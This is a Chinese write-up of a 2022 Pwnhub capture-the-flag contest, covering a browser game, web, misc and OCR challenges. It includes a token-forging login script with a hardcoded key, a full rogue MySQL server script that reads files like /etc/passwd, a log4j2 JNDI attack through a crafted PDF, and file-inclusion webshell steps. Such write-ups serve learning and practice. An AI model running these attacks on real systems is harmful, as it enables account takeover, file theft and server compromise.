前言

第一次参加Pwnhub举办的大型公开赛,体验良好。不愧是pwnhub,三个pwn到比赛结束就只有easyrop有四个解,膜拜pwn佬。前期比赛宣传的比较到位,pwnhub一直有举办公开月赛的传统,这次公开赛的规模更大,奖励也更加丰厚了。

比赛题目多种多样,各个方向的选手都能有题做,不只有传统的web、misc、crypto、re、pwn等,ACM、OCR、以及汇编等各种其他类型的题目都有涉及,甚至主办方还整了个网页版的传奇来玩,可以说是为了减少坐牢的枯燥而用心良苦了,希望各大线下比赛主办方都可以学习,题做不出来还能打打游戏(手动狗头)。

题目难度总体来说适中,pwn和misc偏难(长见识),种类多样的题目从多个方面考察了参赛选手的个人能力。

整个比赛流程下来,平台也十分流畅,靶机启动迅速,也没有限制靶机数量,后期靶机时间的限制也取消了,但美中不足的是,所有靶机都开放在同一个ip上,端口号可以遍历,再加上不是动态flag,这就可能导致蹭flag的情况出现。

WriteUp

Gaming

头一次在ctf比赛中看到用flash游戏出的题目,感觉十分新奇,于是乎速速给我的虚拟机装上了flash,打开主办方开设的游戏。

game类题目有四个小题,最后一个题需要get服务器的shell,也算是半个web吧

image-20220425092142294

是兄弟就来砍我

注册账号,创建角色登录游戏后,就能看见公告栏里的flag,可以说是十分友好了

image-20220424164843108

初入门径

下一步就是要购买题目中所说的1000元的宝召唤道具了

一开始我们没有元宝,但是可以去领绑定元宝,但绑定元宝和元宝不一样,需要先通过抽奖,将绑定元宝转化为元宝,再买召唤券

image-20220424203255156

打死召唤出来的怪物后会掉落flag之书1

image-20220424203434417

要注意爆出来的flag之书其他玩家也可以捡走的,别跟我一样被抢了flag,flag为flag{nonono_notmola}

源码

比赛后期主办方放出了服务器的源码,虽然经过了一些修改,但是也能从中审出一些洞

首先是任意账户登录,从log.php中,可以找到生成token用的key

image-20220425092646185

这样的话,我们知道任意用户的用户名,就可以登录他们的账户,注意游戏中的昵称和用户名可能并不相同

1
2
3
4
5
6
7
8
<?php
$name="rayi";
$time=time();
$key='jwjeDljl-sdlj213988WED^W9kjasdjlkoie2130942323';
$md5=md5($name.urlencode($name).$time.$key);
$url ='http://121.196.195.255:8593/app/cklogin.php?userid='.$name.'&username='.$name.'&time='.$time.'&flag='.$md5.'';
echo $url."\n";
?>

还有,在log.php这里讲道理应该是有注入的,但不知道为什么线上一直复现不成功

image-20220425092552477

web方面的其他洞没有再找出来,剩下getshell应该是需要对游戏服务器文件进行逆向了

Web

web总体考察的知识点比较新,难易结合

EzPDFParser

下载源码,看到pdf和这个log4j2的时候,我想起来之前log4j2火的时候,看到一个师傅的文章

https://www.ddosi.org/log4j-pdf/

image-20220425084557787

java写的pdf解析器在解析pdf的时候,可以通过报错触发log4j2

搭建恶意jndi服务器

https://github.com/Jeromeyoung/JNDIExploit-1

修改pdf文件

image-20220423103753181

直接上传这个pdf,就能触发

image-20220423103912069

image-20220423103925442

easyCMS

看到测试mysql是否联通,就能想到利用mysql进行读文件

image-20220425102139616

Rogue-MySql-Server读文件,py脚本不好使,但用php的可以

https://github.com/allyshka/Rogue-MySql-Server

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
<?php
function unhex($str) { return pack("H*", preg_replace('#[^a-f0-9]+#si', '', $str)); }

$filename = "/etc/passwd";

$srv = stream_socket_server("tcp://0.0.0.0:2333");

while (true) {
echo "Enter filename to get [$filename] > ";
$newFilename = rtrim(fgets(STDIN), "\r\n");
if (!empty($newFilename)) {
$filename = $newFilename;
}

echo "[.] Waiting for connection on 0.0.0.0:3306\n";
$s = stream_socket_accept($srv, -1, $peer);
echo "[+] Connection from $peer - greet... ";
fwrite($s, unhex('45 00 00 00 0a 35 2e 31 2e 36 33 2d 30 75 62 75
6e 74 75 30 2e 31 30 2e 30 34 2e 31 00 26 00 00
00 7a 42 7a 60 51 56 3b 64 00 ff f7 08 02 00 00
00 00 00 00 00 00 00 00 00 00 00 00 64 4c 2f 44
47 77 43 2a 43 56 63 72 00 '));
fread($s, 8192);
echo "auth ok... ";
fwrite($s, unhex('07 00 00 02 00 00 00 02 00 00 00'));
fread($s, 8192);
echo "some shit ok... ";
fwrite($s, unhex('07 00 00 01 00 00 00 00 00 00 00'));
fread($s, 8192);
echo "want file... ";
fwrite($s, chr(strlen($filename) + 1) . "\x00\x00\x01\xFB" . $filename);
stream_socket_shutdown($s, STREAM_SHUT_WR);
echo "\n";

echo "[+] $filename from $peer:\n";

$len = fread($s, 4);
if(!empty($len)) {
list (, $len) = unpack("V", $len);
$len &= 0xffffff;
while ($len > 0) {
$chunk = fread($s, $len);
$len -= strlen($chunk);
echo $chunk;
}
}

echo "\n\n";
fclose($s);
}

image-20220423105608687

把能读出来的文件都读出来后,开始审代码

route.php中,$this->class的值是?s=xxx/【something】的后半段,可控,于是可以进行目录跨越和文件包含,但限定了包含的文件结尾是Tool.php

image-20220423113241928

继续看源码,testTool一看就比较可疑,这里可以从指定目录写文件

image-20220423113322572

于是乎,写shell

image-20220423113337987

用自己的ip找到沙箱目录,再通过route.php包含,即可getshell

image-20220423113352817

baby_flask

flask的模板渲染并不会随着文件更新而更新,需要对flask进行重启才能对模板重新渲染

/kill路由访问显示500,而且实际上并不会重启,在本地复现的时候也报错,搜一下才知道,这个函数在Werkzeug 2.0版本已经被移除了,服务器的版本是2.1.1

https://doc.codingdict.com/jinja2_29/api.html?highlight=cache_size

image-20220426012106748

jinja2.8对于模板的渲染次数缓存限制默认为400,超过400个模板,就会将前面最少使用的模板清除

因此,我们只需要生成400个模板后,即可在缓存刷新的时候执行我们新写入的payload,看到flag

image-20220426012331406

image-20220426012229086

400个模板生成后,即可修改第一个模板,写入payload

image-20220426012347386

然后触发

image-20220426012355397

Misc

眼神得好

幸好我以前玩过裸眼3d,要不然题都做不出来了

https://www.zhihu.com/question/19739300

裸眼3d图有两种看法,一种是两眼失焦,一种是类似于斗鸡眼

这个题的图用第二种方法可以看出,是flag{nice_pwnhub}

out

裸眼3d图的制作原理就是将两张图重合,我们也可以用stegsolve将两张图分开,从而不用费眼睛的获取flag

image-20220425231938596

扩展:

这个图可以用两眼失焦的方法看出漂浮的硬币

裸眼3D硬币

Other

签到

题目提示flag在其他页面,那我们就去其他页面找一找

在关于页面有个视频,封面有二维码,扫描就是flag

http://ctf.pwnhub.cn/about.html

image-20220424164226575

image-20220424164237958

words_check

本来以为是挺难的ocr,后来发现图片都挺好识别的,调用百度的接口就行,能做到100%的识别率

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
from urllib import response
import requests
import base64

url = "http://47.97.127.1:28583/"

def getToken():
token_url = url + "/getToken"
response = requests.get(token_url)
return response.json()['data']['token']

def ocr(img_base64):
# client_id 为官网获取的AK, client_secret 为官网获取的SK
host = 'https://aip.baidubce.com/oauth/2.0/token?grant_type=client_credentials&client_id=【你的】&client_secret=【你的】'
response = requests.get(host)
token = response.json()['access_token']

'''
通用文字识别(高精度版)
'''

request_url = "https://aip.baidubce.com/rest/2.0/ocr/v1/accurate_basic"

params = {"image":img_base64}
access_token = token
request_url = request_url + "?access_token=" + access_token
headers = {'content-type': 'application/x-www-form-urlencoded'}
response = requests.post(request_url, data=params, headers=headers)
return response.json()['words_result']

def getViolWords():
words_url = url + "/getViolWords"
response = requests.get(words_url)
return response.json()['data']['violWords']

def getPic(token):
pic_url = url + "/getPic"
data = {"token":token}
response = requests.post(pic_url,json=data)
return response.json()['data']['words']['w1']

def checkWords(violWords,picWords):
try:
picWords = picWords[0]['words']
except:
pass
print(picWords)
for i in violWords:
if i.replace(" ",'').strip() in picWords:
return False
return True

def submit(token,answer):
submit_url = url + "/submits"
data = {"token":token,"answer":answer}
response = requests.post(submit_url,json=data)
return response.json()

def getResult(token):
result_url = url + "/getResult"
data = {"token":token}
response = requests.post(result_url,json=data)
return response.json()['data']

def getFlag(token):
flag_url = url + "/getFlag"
data = {"token":token}
response = requests.post(flag_url,json=data)
return response.json()


token = getToken()
violWords = getViolWords()
for i in range(51):
pic = getPic(token)
picWords = ocr(pic)
result = checkWords(violWords,picWords)
print(result)
print(submit(token,result))
print(getResult(token))
print(getFlag(token))

image-20220424220043473

小结

比赛持续了36个小时,时间算比较长的,但某些种类题目数量似乎不是很多,例如web,akweb的队伍并不少,做完了三个题之后,我以为后期会上新题,但遗憾的是并没有。

总的来说比赛体验很好,也能通过赛题学到不少知识,希望pwnhub后期还能再举办类似的公开赛!